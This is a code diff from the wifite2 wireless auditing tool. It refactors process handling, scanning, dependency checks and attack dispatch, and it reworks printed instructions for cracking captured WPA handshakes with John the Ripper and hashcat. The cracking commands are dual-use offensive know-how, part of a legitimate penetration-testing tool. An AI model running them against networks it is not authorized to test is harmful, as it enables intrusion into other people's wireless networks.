         Color.pl("  {O}# JOHN: CPU or GPU-based cracking. Fast.")
-        Color.pl("  {O}# Use --format=wpapsk-cuda (or wpapsk-opengl) to enable GPU acceleration")
-        Color.pl("  {O}# See http://openwall.info/wiki/john/WPA-PSK for more info on this process")
+        if not Process.exists("john"):
+            Color.pl("  {O}# {R}john{O} is not installed. More info on installing {R}John The Ripper{O} here: {C}http://www.openwall.com/john/{W}");
+        else:
+            Color.pl("  {O}# Use --format=wpapsk-cuda (or wpapsk-opengl) to enable GPU acceleration")
+            Color.pl("  {O}# See http://openwall.info/wiki/john/WPA-PSK for more info on this process")
+        Color.pl("  {O}# Generate hccap file:")
         Color.pl("  {G}aircrack-ng {W}-J hccap {C}%s{W}" % cap_file)
-        Color.pl("  {G}hccap2john {C}hccap.hccap {W}> {C}hccap.john{W}")
-        Color.pl("  {G}john {W}--wordlist {C}\"%s\" {W}--format=wpapsk {C}\"hccap.john\"{W}" % (self.wordlist))
+        Color.pl("  {O}# Convert hccap file to john file:")
+        Color.pl("  {G}hccap2john {C}hccap.hccap {W}> {C}%s.john{W}" % cap_file)
+        Color.pl("  {O}# Crack john file:")
+        Color.pl("  {G}john {W}--wordlist {C}\"%s\" {W}--format=wpapsk {C}\"%s.john\"{W}" % (self.wordlist, cap_file))
 
     def print_oclhashcat(self, cap_file):
         Color.pl("")
@@ -67,18 +71,20 @@ class CrackHandshake(object):
             Color.pl("  {O}More info on installing {R}hashcat{O} here: {C}https://hashcat.net/hashcat/");
             return
         Color.pl("  {O}# HASHCAT: GPU-based cracking. Fast.")
-        Color.pl("  {O}# See {C}https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 {O}for more info")
+        Color.pl("  {O}#   See {C}https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 {O}for more info")
+        Color.pl("  {O}# Step 1: Generate .hccapx file")
 
         hccapx_file = "/tmp/generated.hccapx"
         cap2hccapx = "/usr/lib/hashcat-utils/cap2hccapx.bin"
         if os.path.exists(cap2hccapx):
-            Color.pl("  {G}%s {W}%s {C}%s{W}" % (cap2hccapx, cap_file, hccapx_file))
+            Color.pl("  {G}  %s {W}%s {C}%s{W}" % (cap2hccapx, cap_file, hccapx_file))
         else:
-            Color.pl("  {O}# Install hashcat-utils: {C}https://hashcat.net/wiki/doku.php?id=hashcat_utils")
-            Color.pl("  {C}cap2hccapx.bin {W}%s {C}%s{W}" % (cap_file, hccapx_file))
-            Color.pl("  {O}# OR visit https://hashcat.net/cap2hccapx to generate a .hccapx file{W}")
-            Color.pl("  {O}# Then click BROWSE -> %s -> CONVERT and save to %s" % (cap_file, hccapx_file))
+            Color.pl("  {O}#   Install {R}cap2hccapx{O}: {C}https://hashcat.net/wiki/doku.php?id=hashcat_utils")
+            Color.pl("  {G}./cap2hccapx.bin {W}%s {C}%s{W}" % (cap_file, hccapx_file))
+            Color.pl("  {O}#   OR visit https://hashcat.net/cap2hccapx to generate a .hccapx file{W}")
+            Color.pl("  {O}#   Then click BROWSE -> %s -> CONVERT and save to %s" % (cap_file, hccapx_file))
 
+        Color.pl("  {O}# Step 2: Crack the .hccapx file")
         Color.pl("  {G}hashcat {W}-m 2500 {C}%s %s{W}" % (hccapx_file, self.wordlist))
 
     def choose_handshake(self):

wifite/util/input.py

@@ -1,4 +1,4 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 # Fix for raw_input on python3: https://stackoverflow.com/a/7321970

wifite/util/process.py

@@ -1,7 +1,10 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 import time
+import signal
+import os
+
 from subprocess import Popen, PIPE
 
 from ..util.color import Color
@@ -90,8 +93,11 @@ class Process(object):
             Ran when object is GC'd.
             If process is still running at this point, it should die.
         '''
-        if self.pid and self.pid.poll() is None:
-            self.interrupt()
+        try:
+            if self.pid and self.pid.poll() is None:
+                self.interrupt()
+        except AttributeError:
+            pass
 
     def stdout(self):
         ''' Waits for process to finish, returns stdout output '''
@@ -139,27 +145,31 @@ class Process(object):
         ''' Returns number of seconds since process was started '''
         return int(time.time() - self.start_time)
 
-    def interrupt(self):
+    def interrupt(self, wait_time=2.0):
         '''
             Send interrupt to current process.
-            If process fails to exit within 1 second, terminates it.
+            If process fails to exit within `wait_time` seconds, terminates it.
         '''
-        from signal import SIGINT, SIGTERM
-        from os import kill
-        from time import sleep
         try:
             pid = self.pid.pid
-            kill(pid, SIGINT)
+            cmd = self.command
+            if type(cmd) is list:
+                cmd = ' '.join(cmd)
 
-            wait_time = 0  # Time since Interrupt was sent
+            if Configuration.verbose > 1:
+                Color.pe('\n {C}[?] {W} sending interrupt to PID %d (%s)' % (pid, cmd))
+
+            os.kill(pid, signal.SIGINT)
+
+            start_time = time.time()  # Time since Interrupt was sent
             while self.pid.poll() is None:
                 # Process is still running
-                wait_time += 0.1
-                sleep(0.1)
-                if wait_time > 1:
-                    # We waited over 1 second for process to die
-                    # Terminate it and move on
-                    kill(pid, SIGTERM)
+                time.sleep(0.1)
+                if time.time() - start_time > wait_time:
+                    # We waited too long for process to die, terminate it.
+                    if Configuration.verbose > 1:
+                        Color.pe('\n {C}[?] {W} Waited > %0.2f seconds for process to die, killing it' % wait_time)
+                    os.kill(pid, signal.SIGTERM)
                     self.pid.terminate()
                     break
 
@@ -170,23 +180,30 @@ class Process(object):
 
 
 if __name__ == '__main__':
+    Configuration.initialize(False)
     p = Process('ls')
-    print(p.stdout(), p.stderr())
+    print(p.stdout())
+    print(p.stderr())
     p.interrupt()
 
     # Calling as list of arguments
     (out, err) = Process.call(['ls', '-lah'])
-    print(out, err)
+    print(out)
+    print(err)
 
     print('\n---------------------\n')
 
     # Calling as string
     (out, err) = Process.call('ls -l | head -2')
-    print(out, err)
+    print(out)
+    print(err)
 
-    print('"reaver" exists:', Process.exists('reaver'))
+    print('"reaver" exists: %s' % Process.exists('reaver'))
 
     # Test on never-ending process
     p = Process('yes')
+    print("Running yes...")
+    time.sleep(1)
+    print("yes should stop now")
     # After program loses reference to instance in 'p', process dies.
 

wifite/util/scanner.py

@@ -1,4 +1,4 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 from ..tools.airodump import Airodump
@@ -36,18 +36,22 @@ class Scanner(object):
                 while True:
                     if airodump.pid.poll() is not None:
                         # Airodump process died
-                        self.err_msg = '\r{!} {R}Airodump exited unexpectedly (Code: %d){O} Command: {W}%s' % (airodump.pid.poll(), " ".join(airodump.pid.command))
-                        raise KeyboardInterrupt
+                        return
 
-                    try:
-                        self.targets = airodump.get_targets()
-                    except Exception as e:
-                        break
+                    self.targets = airodump.get_targets(old_targets=self.targets)
 
                     if self.found_target():
                         # We found the target we want
                         return
 
+                    if airodump.pid.poll() is not None:
+                        # Airodump process died
+                        return
+
+                    for target in self.targets:
+                        if target.bssid in airodump.decloaked_bssids:
+                            target.decloaked = True
+
                     self.print_targets()
 
                     target_count = len(self.targets)
@@ -61,11 +65,6 @@ class Scanner(object):
                     outline += " {G}%d{W} target(s)," % target_count
                     outline += " {G}%d{W} client(s)." % client_count
                     outline += " {O}Ctrl+C{W} when ready "
-                    decloaked = airodump.decloaked_targets
-                    if len(decloaked) > 0:
-                        outline += "(decloaked"
-                        outline += " {C}%d{W} ESSIDs:" % len(decloaked)
-                        outline += " {G}%s{W}) " % ", ".join([x.essid for x in decloaked])
                     Color.clear_entire_line()
                     Color.p(outline)
 
@@ -73,6 +72,7 @@ class Scanner(object):
                         return
 
                     sleep(1)
+
         except KeyboardInterrupt:
             pass
 
@@ -197,7 +197,7 @@ class Scanner(object):
         input_str += ' or {G}all{W}: '
 
         chosen_targets = []
-    
+
         for choice in raw_input(Color.s(input_str)).split(','):
             choice = choice.strip()
             if choice.lower() == 'all':

wifite/util/timer.py

@@ -1,4 +1,4 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 import time
@@ -24,6 +24,9 @@ class Timer(object):
     @staticmethod
     def secs_to_str(seconds):
         '''Human-readable seconds. 193 -> 3m13s'''
+        if seconds < 0:
+            return '-%ds' % seconds
+
         rem = int(seconds)
         hours = rem / 3600
         mins = (rem % 3600) / 60

wifite/wifite.py

@@ -1,23 +1,21 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 try:
     from .config import Configuration
 except (ValueError, ImportError) as e:
-    raise Exception('You may need to run wifite from the root directory (which includes README.md)')
+    raise Exception('You may need to run wifite from the root directory (which includes README.md)', e)
 
 from .util.scanner import Scanner
 from .util.process import Process
 from .util.color import Color
 from .util.crack import CrackHandshake
 from .util.input import raw_input
-from .attack.wep import AttackWEP
-from .attack.wpa import AttackWPA
-from .attack.wps import AttackWPS
+from .attack.all import AttackAll
 from .model.result import CrackResult
 from .model.handshake import Handshake
+from .tools.dependency import Dependency
 
-import json
 import os
 import sys
 
@@ -31,86 +29,21 @@ class Wifite(object):
             Color.pl('{!} {O}re-run as: sudo ./Wifite.py{W}')
             Configuration.exit_gracefully(0)
 
-        self.dependency_check()
-
         Configuration.initialize(load_interface=False)
 
+        Dependency.run_dependency_check()
+
         if Configuration.show_cracked:
-            self.display_cracked()
+            CrackResult.display()
 
         elif Configuration.check_handshake:
-            self.check_handshake(Configuration.check_handshake)
+            Handshake.check()
         elif Configuration.crack_handshake:
             CrackHandshake()
         else:
-            Configuration.get_interface()
+            Configuration.get_monitor_mode_interface()
             self.run()
 
-    def dependency_check(self):
-        ''' Check that required programs are installed '''
-        required_apps = ['airmon-ng', 'iwconfig', 'ifconfig', 'aircrack-ng', 'aireplay-ng', 'airodump-ng']
-        optional_apps = ['packetforge-ng', 'reaver', 'bully', 'cowpatty', 'pyrit', 'stdbuf', 'macchanger', 'tshark']
-        missing_required = False
-        missing_optional = False
-
-        for app in required_apps:
-            if not Process.exists(app):
-                missing_required = True
-                Color.pl('{!} {R}error: required app {O}%s{R} was not found' % app)
-
-        for app in optional_apps:
-            if not Process.exists(app):
-                missing_optional = True
-                Color.pl('{!} {O}warning: recommended app {R}%s{O} was not found' % app)
-
-        if missing_required:
-            Color.pl('{!} {R}required app(s) were not found, exiting.{W}')
-            sys.exit(-1)
-
-        if missing_optional:
-            Color.pl('{!} {O}recommended app(s) were not found')
-            Color.pl('{!} {O}wifite may not work as expected{W}')
-
-    def display_cracked(self):
-        ''' Show cracked targets from cracked.txt '''
-        name = CrackResult.cracked_file
-        if not os.path.exists(name):
-            Color.pl('{!} {O}file {C}%s{O} not found{W}' % name)
-            return
-
-        with open(name, 'r') as fid:
-            cracked_targets = json.loads(fid.read())
-
-        if len(cracked_targets) == 0:
-            Color.pl('{!} {R}no results found in {O}%s{W}' % name)
-        else:
-            Color.pl('{+} displaying {G}%d {C}cracked target(s){W}\n' % len(cracked_targets))
-            for item in cracked_targets:
-                cr = CrackResult.load(item)
-                cr.dump()
-                Color.pl('')
-
-    def check_handshake(self, capfile):
-        ''' Analyzes .cap file for handshake '''
-        if capfile == '<all>':
-            Color.pl('{+} checking all handshakes in {G}"./hs"{W} directory\n')
-            try:
-                capfiles = [os.path.join('hs', x) for x in os.listdir('hs') if x.endswith('.cap')]
-            except OSError as e:
-                capfiles = []
-            if len(capfiles) == 0:
-                Color.pl('{!} {R}no .cap files found in {O}"./hs"{W}\n')
-        else:
-            capfiles = [capfile]
-
-        for capfile in capfiles:
-            Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile)
-            if not os.path.exists(capfile):
-                Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile)
-                return
-            hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid)
-            hs.analyze()
-            Color.pl('')
 
     def run(self):
         '''
@@ -125,85 +58,19 @@ class Wifite(object):
         else:
             targets = s.select_targets()
 
-        attacked_targets = 0
-        targets_remaining = len(targets)
-        for idx, t in enumerate(targets, start=1):
-            attacked_targets += 1
-            targets_remaining -= 1
-
-            Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (idx, len(targets)) +
-                     ' starting attacks against {C}%s{W} ({C}%s{W})'
-                % (t.bssid, t.essid if t.essid_known else "{O}ESSID unknown"))
-            if 'WEP' in t.encryption:
-                attack = AttackWEP(t)
-            elif 'WPA' in t.encryption:
-                if t.wps:
-                    attack = AttackWPS(t)
-                    result = False
-                    try:
-                        result = attack.run()
-                    except Exception as e:
-                        Color.pl("\n{!} {R}Error: {O}%s" % str(e))
-                        if Configuration.verbose > 0 or Configuration.print_stack_traces:
-                            Color.pl('\n{!} {O}Full stack trace below')
-                            from traceback import format_exc
-                            Color.p('\n{!}    ')
-                            err = format_exc().strip()
-                            err = err.replace('\n', '\n{!} {C}   ')
-                            err = err.replace('  File', '{W}File')
-                            err = err.replace('  Exception: ', '{R}Exception: {O}')
-                            Color.pl(err)
-                    except KeyboardInterrupt:
-                        Color.pl('\n{!} {O}interrupted{W}\n')
-                        if not self.user_wants_to_continue(targets_remaining, 1):
-                            break
-
-                    if result and attack.success:
-                        # We cracked it.
-                        attack.crack_result.save()
-                        continue
-                    else:
-                        # WPS failed, try WPA handshake.
-                        attack = AttackWPA(t)
-                else:
-                    # Not using WPS, try WPA handshake.
-                    attack = AttackWPA(t)
-            else:
-                Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA")
-                continue
-
-            try:
-                attack.run()
-            except Exception as e:
-                Color.pl("\n{!} {R}Error: {O}%s" % str(e))
-                if Configuration.verbose > 0 or True:
-                    Color.pl('\n{!} {O}Full stack trace below')
-                    from traceback import format_exc
-                    Color.p('\n{!}    ')
-                    err = format_exc().strip()
-                    err = err.replace('\n', '\n{!} {C}   ')
-                    err = err.replace('  File', '{W}File')
-                    err = err.replace('  Exception: ', '{R}Exception: {O}')
-                    Color.pl(err)
-            except KeyboardInterrupt:
-                Color.pl('\n{!} {O}interrupted{W}\n')
-                if not self.user_wants_to_continue(targets_remaining):
-                    break
-
-            if attack.success:
-                attack.crack_result.save()
+        attacked_targets = AttackAll.attack_multiple(targets)
         Color.pl("{+} Finished attacking {C}%d{W} target(s), exiting" % attacked_targets)
 
 
     def print_banner(self):
         """ Displays ASCII art of the highest caliber.  """
-        Color.pl('''\
-{G}  .     {GR}{D}     {W}{G}     .    {W}
-{G}.´  ·  .{GR}{D}     {W}{G}.  ·  `.  {G}wifite {D}%s{W}
-{G}:  :  : {GR}{D} (¯) {W}{G} :  :  :  {W}{D}automated wireless auditor
-{G}`.  ·  `{GR}{D} /¯\ {W}{G}´  ·  .´  {C}{D}https://github.com/derv82/wifite2
-{G}  `     {GR}{D}/¯¯¯\{W}{G}     ´    {W}
-''' % Configuration.version)
+        Color.pl(r'{G}  .     {GR}{D}     {W}{G}     .    {W}')
+        Color.pl(r'{G}.´  ·  .{GR}{D}     {W}{G}.  ·  `.  {G}wifite {D}%s{W}' % Configuration.version)
+        Color.pl(r'{G}:  :  : {GR}{D} (¯) {W}{G} :  :  :  {W}{D}automated wireless auditor{W}')
+        Color.pl(r'{G}`.  ·  `{GR}{D} /¯\ {W}{G}´  ·  .´  {C}{D}https://github.com/derv82/wifite2{W}')
+        Color.pl(r'{G}  `     {GR}{D}/¯¯¯\{W}{G}     ´    {W}')
+        Color.pl('')
+
 
     def user_wants_to_continue(self, targets_remaining, attacks_remaining=0):
         ''' Asks user if attacks should continue onto other targets '''
@@ -243,8 +110,8 @@ def run():
             from traceback import format_exc
             Color.p('\n{!}    ')
             err = format_exc().strip()
-            err = err.replace('\n', '\n{!} {C}   ')
-            err = err.replace('  File', '{W}File')
+            err = err.replace('\n', '\n{W}{!} {W}   ')
+            err = err.replace('  File', '{W}{D}File')
             err = err.replace('  Exception: ', '{R}Exception: {O}')
             Color.pl(err)